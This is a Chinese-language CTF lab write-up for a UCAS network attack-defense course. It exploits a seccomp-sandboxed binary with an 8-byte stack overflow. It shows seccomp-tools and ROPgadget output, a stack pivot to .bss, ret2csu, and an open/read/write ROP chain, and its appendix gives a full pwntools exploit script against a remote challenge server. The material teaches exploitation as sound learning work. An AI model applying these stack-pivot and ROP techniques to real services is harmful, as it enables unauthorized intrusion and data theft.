题目链接:https://tangzichengcc.github.io/2023/04/04/ucas-高级网络攻防-实验二-pwn1-栈/rop

课上的pwn的练习1,总结来说基础差的太多,一个是漏洞基础,应该先对相应的漏洞的简单题多练一练,深入理解原理,不然后面遇到一点问题就卡住了,另外还是有很多底层的原理,基础知识需要补.

第一章 解题过程描述

一. 攻击流程图

orw.drawio

二. 详细解题过程

1.ida反汇编查看伪代码

​ 可以发现有install_seccomp(argc, argv, envp);函数,说明安装了保护

​ 漏洞点在vuln函数中,存在栈溢出,但只能溢出8字节,显然空间非常需要,需要利用其他技术来布置后续攻击代码

2. seccomp保护

​ 利用工具seccomp-tools查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@VM-24-10-ubuntu:/tmp/330# seccomp-tools dump ./rop 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014
0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013
0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013
0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013
0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013
0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013
0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013
0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013
0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013
0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL

​ 这段代码的作用是在64位的x86架构上过滤掉不需要的系统调用,只允许执行一些特定的系统调用。如果系统调用是这些特定的系统调用之一,则允许执行,否则拒绝执行。

​ 具体允许的只有open,read,write,exit及其变种. 并且限制了架构,不能使用其他架构下的系统调用. 那么常用的方法是,构造orw链,利用open read write系统调用来读取和打印flag文件.

3. 寻找gadget

3.1 orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.plt.sec:0000000000401100 _open           proc near               ; CODE XREF: some_gifts+1D↓p
.plt.sec:0000000000401100 endbr64
.plt.sec:0000000000401104 bnd jmp cs:off_404040
.plt.sec:0000000000401104 _open endp

.plt.sec:00000000004010D0 _read proc near ; CODE XREF: vuln+40↓p
.plt.sec:00000000004010D0 endbr64
.plt.sec:00000000004010D4 bnd jmp cs:off_404028
.plt.sec:00000000004010D4 _read endp

.plt.sec:00000000004010C0 _write proc near ; CODE XREF: main+88↓p
.plt.sec:00000000004010C0 ; main+9E↓p
.plt.sec:00000000004010C0 endbr64
.plt.sec:00000000004010C4 bnd jmp cs:off_404020
.plt.sec:00000000004010C4 _write endp

​ 或者用elf.plt[‘read’]来获取

3.2 gadget

​ amd64-64-little, x64架构下,目前应用的调用约定是fastcal,前三个传参的寄存器是rdi rsi rdx

​ 利用工具ROPgadget寻找可用的gadget,找到了rdi和rsi,未找到rdx,rdx的值并不一定总会影响函数的调用,要根据具体情况而定,在本题中,经过测试是会影响的,在read读取flag的时候,rdx代表着读取的长度,经过调试发现被设置为了0,所以读取的是空的.因此需要找到一个能设置rdx寄存器的gadget,会在后续章节说明.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@VM-24-10-ubuntu:/tmp/330# ROPgadget --binary rop  --only 'pop|ret'
Gadgets information
============================================================
0x000000000040147c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040147e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401480 : pop r14 ; pop r15 ; ret
0x0000000000401482 : pop r15 ; ret
0x000000000040147b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040147f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x0000000000401483 : pop rdi ; ret
0x0000000000401481 : pop rsi ; pop r15 ; ret
0x000000000040147d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401277 : ret 0x2be

Unique gadgets found: 12

0x0000000000401483 : pop rdi ; ret
0x0000000000401481 : pop rsi ; pop r15 ; ret
3.2.1 ret2csu

​ 不同架构的csu代码是不一样的,要根据具体情况而定,就此题的架构而言,csu代码如下

Untitled

​ 先执行loc_401476里面的代码,进行pop赋值,ret后再执行loc_401460的代码,对传参寄存器进行赋值,然后再利用call 转移控制流

​ rdi rsi rdx 分别对应着第一次要输入的 r12,r13,r14,call的地址是[r15+rbx*8],可以设置r15为存储跳转地址的地址,rbx为0

​ 设置rbp为1,rbx为0,即可继续往下执行

3.2.2 栈迁移的gadget

​ 由于只能溢出8字节,是不够布置gadget链的,需要扩展栈空间,通常用的手法是进行栈迁移,移动到一个更大的空间去

​ leave == mov rsp,rbp;pop rbp;
​ ret == pop rip #弹出栈顶数据给rip寄存器

​ 利用两次leave;ret; 即可控制rsp

​ mov rsp,rbp; //第一个rbp不受我们的控制,但是下面pop的rbp可以被我们更改,从而就可以控制第二个leave里面的rsp
​ pop rbp;
​ mov rsp,rbp;
​ pop rbp;
​ pop rip

1
2
3
4
root@VM-24-10-ubuntu:/home/ubuntu/330# ROPgadget --binary rop  --only 'leave|ret'
Gadgets information
============================================================
0x00000000004012a7 : leave ; ret

4. 迁移到bss

stackpivot.drawio

​ 只迁移是不够的,同时应该做到在迁移到的新地方布置好rop链,一个想法是,调用vuln()函数中的read,既可以读取0x110的数据,最后也有leave;ret;

1
2
3
4
5
6
7
8
9
.text:0000000000401304 loc_401304:                             ; CODE XREF: vuln+20↑j
.text:0000000000401304 lea rax, [rbp+buf]
.text:000000000040130B mov edx, 110h ; nbytes
.text:0000000000401310 mov rsi, rax ; buf
.text:0000000000401313 mov edi, 0 ; fd
.text:0000000000401318 call _read
.text:000000000040131D nop
.text:000000000040131E leave
.text:000000000040131F retn

​ 但是这里有一个问题,数据被写入的地方不是rbp,而是rbp-0x100,而经过两次leave;ret;后修改的rsp的值是原始rbp的值,所以还是到达不了rop链的位置,因此,需要第三次的leave;ret;再次修正rsp的位置,这样的话,在第二次leave;ret;的时候,rbp设置为写入地址-0x108,然后第三次leave;ret;就把rsp设置为了rop链的开头

​ 设置成0x108是因为在最后一个leave;ret;的时候,mov rsp,rbp,转移栈成功后,要pop出来rbp然后栈往下移动8字节,这个多的0x8用来抵消pop rbp.

5. 构造ROP链, 实现orw

5.1 构造orw

1
2
3
4
5
payload1 = p64(poprdi) + p64("0") + p64(poprsi)+ p64(bssaddr2) +p64(0)+ p64(readaddr)
payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)
payload1 += p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr2) +p64(0)+ p64(readaddr)
payload1 += p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr2) +p64(0) +p64(writeaddr)

​ 四行的用途分别是

​ 从用户标准输入中读取 ./flag 字符,用于后面的open

​ open ./flag 这个文件,得到文件句柄3

​ read 读取具柄3,读取到bss区域

​ write 将flag所在bss区域内容输入到标准输出中

​ 在调试中可以看到,在执行第三行操作,即read时,rdx的值被设置成了0,于是需要设置rdx的gadget

image-20230403142700054

5.2 利用ret2csu构造 read的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csu_front_addr = 0x0000000000401460
csu_end_addr = 0x000000000040147a

def csu(rbx, rbp, r12, r13, r14, r15):
# rdi rsi rdx 分别对应着 r12,r13,r14
# call的地址是[r15+rbx*8], 可以设置r15为地址,rbx为0
# r15这个地址存储的数据是要call的函数的地址
payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payloadtemp += p64(csu_front_addr)
return payloadtemp


# r12 + rbx*8 = 0x0004010C0
temp = csu(0,1,3,bssaddr2,50,0x0404e24)

​ 要call的地址是[r15+rbx*8], 所以需要找到一个地址,存储着read函数的地址,在尝试利用5.1节第一行payload中存储rop链的中的bss地址中的read地址时发现,后面会被覆盖掉.可以在payload之后,再加上read函数的地址. 计算或者调试出存储其地址的地址.

5.3 利用ret2csu继续构造 write的参数

​ 在上一步时,设置rbx=1,rbp=1,即可以让程序继续往下执行,进入第二轮ret2csu,与5.2中的方法类似,构造write的参数

​ 完整exp见附录

第二章 题目技术点总结

一. ORW

​ ORW利用了Linux中的open/read/write系统调用来执行操作,通常在限制了系统调用的时候使用,在ctf中根本目标是获取flag,所以在拿不到系统权限的时候可以通过该中方法进行获取flag.

​ orw有很多种不同的系统调用可以使用,并且在不同架构下也有不一样的,根据seccomp具体的限制可以使用不同的方法.

​ 需要注意的是,在做题目时,要根据具体的系统版本来寻找系统调用,在最新版本中有可能加入新的可用的系统调用.

二. seccomp

​ seccomp是一种在ctf pwn中常用的安全机制,可用于限制程序对系统调用的访问。通过使用seccomp,可以有效地降低程序受到攻击的风险。

三. ret2csu

​ ret2csu是一种在ctf pwn中常用的技术,可用于在程序没有可用的gadget的情况下构造ROP链。它利用了一个特殊的函数__libc_csu_init来调用函数,并利用程序的堆栈来构造ROP链。

四. 栈迁移

​ 可用于在程序栈空间不足的情况下,通过将栈迁移到bss段、堆等来执行攻击,也可以利用sub rsp等gadget来增加栈的长度.通常使用的是leave;ret;方法,第一次leave;ret;控制rbp,第二次可以控制rsp

第三章 错误处理

一. open时出错

​ bss段给的地址太小,在动态解析的时候,栈会移动到不可写的地方,导致出错,将bss往后移动多一点即可

二. orw(不设置rdx) 本地可以打通,远程不可以

​ 是libc版本的问题,把版本切换到2.27(题目版本)后即可发现,在read时,rdx被设置为了0,因此需要找到能够设置rdx的gadget

参考资料

https://blog.csdn.net/qq_34010404/article/details/123809796

https://blog.csdn.net/mcmuyanga/article/details/113389703

https://blog.csdn.net/qq_45691294/article/details/112196127

https://blog.csdn.net/qq_41696518/article/details/126665825

https://blog.csdn.net/qq_41202237/article/details/105913597

https://xz.aliyun.com/t/12189

附录:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import time

#sh = remote("xxx",xxx)
sh = remote("xxxx",52017)
#sh = process("./rop")
context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x0040131E")

bssaddr = 0x0040412C + 0xd00
retaddr = 0x0000401304
readaddr = 0x0004010D0
openaddr = 0x00401100
writeaddr = 0x0004010C0
csu_front_addr = 0x0000000000401460
csu_end_addr = 0x000000000040147a

def csu(rbx, rbp, r12, r13, r14, r15):
payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payloadtemp += p64(csu_front_addr)
return payloadtemp
def csu2(rbp, r12, r13, r14, r15):
payloadtemp = p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payloadtemp += p64(csu_front_addr)
return payloadtemp

sh.sendlineafter("choice:",str(4919))
payload =b"a"*256 + p64(bssaddr) + p64(retaddr)
# 40413c
sh.send(payload)
poprdi = 0x0000401483
poprsi = 0x0000401481
bssaddr2 = bssaddr + 0x20
leave_ret = 0x0040131E

payload1 = p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr2) +p64(0)+ p64(readaddr)
payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)
temp = csu(0,1,3,bssaddr2,50,0x404e0c)
payload1 += temp
temp2 = csu(0,1,1,bssaddr2,50,0x404e14)
payload1 += temp2 + p64(readaddr) + p64(writeaddr)
print("len:",len(payload1))
payload1 = payload1.ljust(0x100,b"a")
payload1 += p64(bssaddr-0x108) + p64(leave_ret)
sh.send(payload1)
sh.send("./flag\x00")
sh.recv(1024)
sh.interactive()